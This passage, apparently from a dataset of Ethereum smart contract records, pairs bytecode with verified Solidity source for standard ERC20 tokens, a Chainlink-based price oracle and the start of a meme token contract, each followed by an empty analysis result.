0x6060604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302d05d3f811461010b57806305d2035b1461013a57806306fdde0314610161578063095ea7b3146101eb57806318160ddd1461020d57806323b872dd146102325780632ff2e9dc1461025a578063313ce5671461026d57806340c10f191461028057806342966c68146102a257806366188463146102ba57806370a08231146102dc5780637d64bcb4146102fb5780638da5cb5b1461030e57806395d89b4114610321578063a9059cbb14610334578063d73dd62314610356578063dd62ed3e14610378578063f2fde38b1461039d575b600080fd5b341561011657600080fd5b61011e6103bc565b604051600160a060020a03909116815260200160405180910390f35b341561014557600080fd5b61014d6103cb565b604051901515815260200160405180910390f35b341561016c57600080fd5b6101746103ec565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101b0578082015183820152602001610198565b50505050905090810190601f1680156101dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f657600080fd5b61014d600160a060020a036004351660243561048a565b341561021857600080fd5b6102206104f6565b60405190815260200160405180910390f35b341561023d57600080fd5b61014d600160a060020a03600435811690602435166044356104fc565b341561026557600080fd5b61022061066a565b341561027857600080fd5b610220610670565b341561028b57600080fd5b61014d600160a060020a0360043516602435610676565b34156102ad57600080fd5b6102b8600435610783565b005b34156102c557600080fd5b61014d600160a060020a036004351660243561086a565b34156102e757600080fd5b610220600160a060020a0360043516610964565b341561030657600080fd5b61014d61097f565b341561031957600080fd5b61011e610a2c565b341561032c57600080fd5b610174610a3b565b341561033f57600080fd5b61014d600160a060020a0360043516602435610aa6565b341561036157600080fd5b61014d600160a060020a0360043516602435610ba6565b341561038357600080fd5b610220600160a060020a0360043581169060243516610c4a565b34156103a857600080fd5b6102b8600160a060020a0360043516610c75565b600454600160a060020a031681565b60045474010000000000000000000000000000000000000000900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104825780601f1061045757610100808354040283529160200191610482565b820191906000526020600020905b81548152906001019060200180831161046557829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561051357600080fd5b600160a060020a03841660009081526020819052604090205482111561053857600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561056b57600080fd5b600160a060020a038416600090815260208190526040902054610594908363ffffffff610d1016565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105c9908363ffffffff610d2216565b600160a060020a038085166000908152602081815260408083209490945587831682526002815283822033909316825291909152205461060f908363ffffffff610d1016565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610d398339815191529085905190815260200160405180910390a35060019392505050565b60085481565b60075481565b60035460009033600160a060020a0390811691161461069457600080fd5b60045474010000000000000000000000000000000000000000900460ff16156106bc57600080fd5b6001546106cf908363ffffffff610d2216565b600155600160a060020a0383166000908152602081905260409020546106fb908363ffffffff610d2216565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020610d398339815191528460405190815260200160405180910390a350600192915050565b600160a060020a0333166000908152602081905260408120548211156107a857600080fd5b5033600160a060020a0381166000908152602081905260409020546107cd9083610d10565b600160a060020a0382166000908152602081905260409020556001546107f9908363ffffffff610d1016565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a038216600080516020610d398339815191528460405190815260200160405180910390a35050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156108c757600160a060020a0333811660009081526002602090815260408083209388168352929052908120556108fe565b6108d7818463ffffffff610d1016565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461099d57600080fd5b60045474010000000000000000000000000000000000000000900460ff16156109c557600080fd5b6004805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104825780601f1061045757610100808354040283529160200191610482565b6000600160a060020a0383161515610abd57600080fd5b600160a060020a033316600090815260208190526040902054821115610ae257600080fd5b600160a060020a033316600090815260208190526040902054610b0b908363ffffffff610d1016565b600160a060020a033381166000908152602081905260408082209390935590851681522054610b40908363ffffffff610d2216565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a0316600080516020610d398339815191528460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610bde908363ffffffff610d2216565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60045433600160a060020a03908116911614610c9057600080fd5b600160a060020a0381161515610ca557600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610d1c57fe5b50900390565b600082820183811015610d3157fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582001fb130fbf570463093a00f253ebcf7eb3e9cf69d7aabfab352140a2560cc8de0029
|
{"success": true, "error": null, "results": {}}
| 1,653 |
0xadf849079d415157cbbdb21bb7542b47077734a8
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Claimable is Context {
address private _owner;
address public pendingOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event NewPendingOwner(address indexed owner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_msgSender() == owner(), "Ownable: caller is not the owner");
_;
}
modifier onlyPendingOwner() {
require(_msgSender() == pendingOwner);
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(owner(), address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(pendingOwner == address(0));
pendingOwner = newOwner;
emit NewPendingOwner(newOwner);
}
function cancelTransferOwnership() public onlyOwner {
require(pendingOwner != address(0));
delete pendingOwner;
emit NewPendingOwner(address(0));
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner(), pendingOwner);
_owner = pendingOwner;
delete pendingOwner;
}
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface IFujiOracle {
function getPriceOf(
address _collateralAsset,
address _borrowAsset,
uint8 _decimals
) external view returns (uint256);
}
/**
* @title Errors library
* @author Fuji
* @notice Defines the error messages emitted by the different contracts of the Aave protocol
* @dev Error messages prefix glossary:
* - VL = Validation Logic 100 series
* - MATH = Math libraries 200 series
* - RF = Refinancing 300 series
* - VLT = vault 400 series
* - SP = Special 900 series
*/
library Errors {
//Errors
string public constant VL_INDEX_OVERFLOW = "100"; // index overflows uint128
string public constant VL_INVALID_MINT_AMOUNT = "101"; //invalid amount to mint
string public constant VL_INVALID_BURN_AMOUNT = "102"; //invalid amount to burn
string public constant VL_AMOUNT_ERROR = "103"; //Input value >0, and for ETH msg.value and amount shall match
string public constant VL_INVALID_WITHDRAW_AMOUNT = "104"; //Withdraw amount exceeds provided collateral, or falls undercollaterized
string public constant VL_INVALID_BORROW_AMOUNT = "105"; //Borrow amount does not meet collaterization
string public constant VL_NO_DEBT_TO_PAYBACK = "106"; //Msg sender has no debt amount to be payback
string public constant VL_MISSING_ERC20_ALLOWANCE = "107"; //Msg sender has not approved ERC20 full amount to transfer
string public constant VL_USER_NOT_LIQUIDATABLE = "108"; //User debt position is not liquidatable
string public constant VL_DEBT_LESS_THAN_AMOUNT = "109"; //User debt is less than amount to partial close
string public constant VL_PROVIDER_ALREADY_ADDED = "110"; // Provider is already added in Provider Array
string public constant VL_NOT_AUTHORIZED = "111"; //Not authorized
string public constant VL_INVALID_COLLATERAL = "112"; //There is no Collateral, or Collateral is not in active in vault
string public constant VL_NO_ERC20_BALANCE = "113"; //User does not have ERC20 balance
string public constant VL_INPUT_ERROR = "114"; //Check inputs. For ERC1155 batch functions, array sizes should match.
string public constant VL_ASSET_EXISTS = "115"; //Asset intended to be added already exists in FujiERC1155
string public constant VL_ZERO_ADDR_1155 = "116"; //ERC1155: balance/transfer for zero address
string public constant VL_NOT_A_CONTRACT = "117"; //Address is not a contract.
string public constant VL_INVALID_ASSETID_1155 = "118"; //ERC1155 Asset ID is invalid.
string public constant VL_NO_ERC1155_BALANCE = "119"; //ERC1155: insufficient balance for transfer.
string public constant VL_MISSING_ERC1155_APPROVAL = "120"; //ERC1155: transfer caller is not owner nor approved.
string public constant VL_RECEIVER_REJECT_1155 = "121"; //ERC1155Receiver rejected tokens
string public constant VL_RECEIVER_CONTRACT_NON_1155 = "122"; //ERC1155: transfer to non ERC1155Receiver implementer
string public constant VL_OPTIMIZER_FEE_SMALL = "123"; //Fuji OptimizerFee has to be > 1 RAY (1e27)
string public constant VL_UNDERCOLLATERIZED_ERROR = "124"; // Flashloan-Flashclose cannot be used when User's collateral is worth less than intended debt position to close.
string public constant VL_MINIMUM_PAYBACK_ERROR = "125"; // Minimum Amount payback should be at least Fuji Optimizerfee accrued interest.
string public constant VL_HARVESTING_FAILED = "126"; // Harvesting Function failed, check provided _farmProtocolNum or no claimable balance.
string public constant VL_FLASHLOAN_FAILED = "127"; // Flashloan failed
string public constant VL_ERC1155_NOT_TRANSFERABLE = "128"; // ERC1155: Not Transferable
string public constant VL_SWAP_SLIPPAGE_LIMIT_EXCEED = "129"; // ERC1155: Not Transferable
string public constant VL_ZERO_ADDR = "130"; // Zero Address
string public constant MATH_DIVISION_BY_ZERO = "201";
string public constant MATH_ADDITION_OVERFLOW = "202";
string public constant MATH_MULTIPLICATION_OVERFLOW = "203";
string public constant RF_INVALID_RATIO_VALUES = "301"; // Ratio Value provided is invalid, _ratioA/_ratioB <= 1, and > 0, or activeProvider borrowBalance = 0
string public constant VLT_CALLER_MUST_BE_VAULT = "401"; // The caller of this function must be a vault
string public constant ORACLE_INVALID_LENGTH = "501"; // The assets length and price feeds length doesn't match
string public constant ORACLE_NONE_PRICE_FEED = "502"; // The price feed is not found
}
contract FujiOracle is IFujiOracle, Claimable {
// mapping from asset address to its price feed oracle in USD - decimals: 8
mapping(address => address) public usdPriceFeeds;
constructor(address[] memory _assets, address[] memory _priceFeeds) Claimable() {
require(_assets.length == _priceFeeds.length, Errors.ORACLE_INVALID_LENGTH);
for (uint256 i = 0; i < _assets.length; i++) {
usdPriceFeeds[_assets[i]] = _priceFeeds[i];
}
}
function setPriceFeed(address _asset, address _priceFeed) public onlyOwner {
usdPriceFeeds[_asset] = _priceFeed;
}
/// @dev Calculates the exchange rate n given decimals (_borrowAsset / _collateralAsset Exchange Rate)
/// @param _collateralAsset the collateral asset, zero-address for USD
/// @param _borrowAsset the borrow asset, zero-address for USD
/// @param _decimals the decimals of the price output
/// @return price The exchange rate of the given assets pair
function getPriceOf(
address _collateralAsset,
address _borrowAsset,
uint8 _decimals
) external view override returns (uint256 price) {
price = 10**uint256(_decimals);
if (_borrowAsset != address(0)) {
price = price * _getUSDPrice(_borrowAsset);
} else {
price = price * (10**8);
}
if (_collateralAsset != address(0)) {
price = price / _getUSDPrice(_collateralAsset);
} else {
price = price / (10**8);
}
}
/// @dev Calculates the USD price of asset
/// @param _asset the asset address
/// @return price USD price of the give asset
function _getUSDPrice(address _asset) internal view returns (uint256 price) {
require(usdPriceFeeds[_asset] != address(0), Errors.ORACLE_NONE_PRICE_FEED);
(, int256 latestPrice, , , ) = AggregatorV3Interface(usdPriceFeeds[_asset]).latestRoundData();
price = uint256(latestPrice);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a35760003560e01c80638da5cb5b11610076578063e30c39781161005b578063e30c397814610113578063f0e0626f1461011b578063f2fde38b1461012e576100a3565b80638da5cb5b146100f657806392fede001461010b576100a3565b80634e71e0c8146100a8578063715018a6146100b2578063721adea7146100ba57806376e11286146100e3575b600080fd5b6100b0610141565b005b6100b06101d8565b6100cd6100c836600461067c565b610271565b6040516100da91906107b2565b60405180910390f35b6100b06100f136600461064a565b6102fe565b6100fe61036b565b6040516100da9190610716565b6100b061037a565b6100fe61040b565b6100fe610129366004610630565b61041a565b6100b061013c366004610630565b610435565b6001546001600160a01b03166101556104d4565b6001600160a01b03161461016857600080fd5b6001546001600160a01b031661017c61036b565b6001600160a01b03167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6101e061036b565b6001600160a01b03166101f16104d4565b6001600160a01b0316146102205760405162461bcd60e51b81526004016102179061077d565b60405180910390fd5b600061022a61036b565b6001600160a01b03167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600080546001600160a01b0319169055565b600061028160ff8316600a610821565b90506001600160a01b038316156102ac5761029b836104d8565b6102a590826108ef565b90506102bd565b6102ba816305f5e1006108ef565b90505b6001600160a01b038416156102e6576102d5846104d8565b6102df90826107bb565b90506102f7565b6102f46305f5e100826107bb565b90505b9392505050565b61030661036b565b6001600160a01b03166103176104d4565b6001600160a01b03161461033d5760405162461bcd60e51b81526004016102179061077d565b6001600160a01b03918216600090815260026020526040902080546001600160a01b03191691909216179055565b6000546001600160a01b031690565b61038261036b565b6001600160a01b03166103936104d4565b6001600160a01b0316146103b95760405162461bcd60e51b81526004016102179061077d565b6001546001600160a01b03166103ce57600080fd5b600180546001600160a01b03191690556040516000907f69737d41162474a7ca514809b07d7becaecf72eae8c23bceb071f0e09af93ffc908290a2565b6001546001600160a01b031681565b6002602052600090815260409020546001600160a01b031681565b61043d61036b565b6001600160a01b031661044e6104d4565b6001600160a01b0316146104745760405162461bcd60e51b81526004016102179061077d565b6001546001600160a01b03161561048a57600080fd5b600180546001600160a01b0319166001600160a01b0383169081179091556040517f69737d41162474a7ca514809b07d7becaecf72eae8c23bceb071f0e09af93ffc90600090a250565b3390565b6001600160a01b038181166000908152600260209081526040808320548151808301909252600382527f3530320000000000000000000000000000000000000000000000000000000000928201929092529192166105495760405162461bcd60e51b8152600401610217919061072a565b506001600160a01b038083166000908152600260205260408082205481517ffeaf968c00000000000000000000000000000000000000000000000000000000815291519293169163feaf968c9160048082019260a092909190829003018186803b1580156105b657600080fd5b505afa1580156105ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ee91906106c7565b50919695505050505050565b80356001600160a01b038116811461061157600080fd5b919050565b805169ffffffffffffffffffff8116811461061157600080fd5b600060208284031215610641578081fd5b6102f7826105fa565b6000806040838503121561065c578081fd5b610665836105fa565b9150610673602084016105fa565b90509250929050565b600080600060608486031215610690578081fd5b610699846105fa565b92506106a7602085016105fa565b9150604084013560ff811681146106bc578182fd5b809150509250925092565b600080600080600060a086880312156106de578081fd5b6106e786610616565b945060208601519350604086015192506060860151915061070a60808701610616565b90509295509295909350565b6001600160a01b0391909116815260200190565b6000602080835283518082850152825b818110156107565785810183015185820160400152820161073a565b818111156107675783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b90815260200190565b6000826107d657634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116107ed5750610818565b8187048211156107ff576107ff61090e565b8086161561080c57918102915b9490941c9380026107de565b94509492505050565b60006102f7600019848460008261083a575060016102f7565b81610847575060006102f7565b816001811461085d576002811461086757610894565b60019150506102f7565b60ff8411156108785761087861090e565b6001841b91508482111561088e5761088e61090e565b506102f7565b5060208310610133831016604e8410600b84101617156108c7575081810a838111156108c2576108c261090e565b6102f7565b6108d484848460016107db565b8086048211156108e6576108e661090e565b02949350505050565b60008160001904831182151516156109095761090961090e565b500290565b634e487b7160e01b600052601160045260246000fdfea264697066735822122043437552ec1b9d7a2baf3b2f8c5938d496e71e3b7ccf0185d69f1668249250d664736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 1,654 |
0xc67a6f3c34f7eb18d837e1142f433d3902c2619e
|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || allowed[msg.sender][_spender]== 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract LiuziToken is StandardToken {
string public constant name = "liuzi"; // solium-disable-line uppercase
string public constant symbol = "666"; // solium-disable-line uppercase
uint8 public constant decimals = 0; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 666;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103b3565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103b9565b3480156101dd57600080fd5b50610195610530565b3480156101f257600080fd5b506101fb610536565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a036004351660243561053b565b34801561024157600080fd5b50610195600160a060020a036004351661062b565b34801561026257600080fd5b506100d3610646565b34801561027757600080fd5b5061016c600160a060020a036004351660243561067d565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561075e565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107f7565b60408051808201909152600581527f6c69757a69000000000000000000000000000000000000000000000000000000602082015281565b60008115806103415750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561034c57600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60015490565b6000600160a060020a03831615156103d057600080fd5b600160a060020a0384166000908152602081905260409020548211156103f557600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561042557600080fd5b600160a060020a03841660009081526020819052604090205461044e908363ffffffff61082216565b600160a060020a038086166000908152602081905260408082209390935590851681522054610483908363ffffffff61083416565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104c5908363ffffffff61082216565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b61029a81565b600081565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561059057336000908152600260209081526040808320600160a060020a03881684529091528120556105c5565b6105a0818463ffffffff61082216565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600381527f3636360000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561069457600080fd5b336000908152602081905260409020548211156106b057600080fd5b336000908152602081905260409020546106d0908363ffffffff61082216565b3360009081526020819052604080822092909255600160a060020a03851681522054610702908363ffffffff61083416565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610792908363ffffffff61083416565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561082e57fe5b50900390565b60008282018381101561084357fe5b93925050505600a165627a7a723058203943be3432d888592b2ca5126d6fa9992c215982e5397ac7b026922c3510a4c70029
|
{"success": true, "error": null, "results": {}}
| 1,655 |
0x39d9aab2f8c445a00ff30c932e41b8e2a021bcbc
|
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
/*
YATO INU ($YATO)
Telegram: https://t.me/YatoToken
Website: https://yato.club
Yato, originally called Yaboku, is the main protagonist of the anime/manga series Noragami, and the 'stray god' of the title.
Twitter: @YatoToken
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
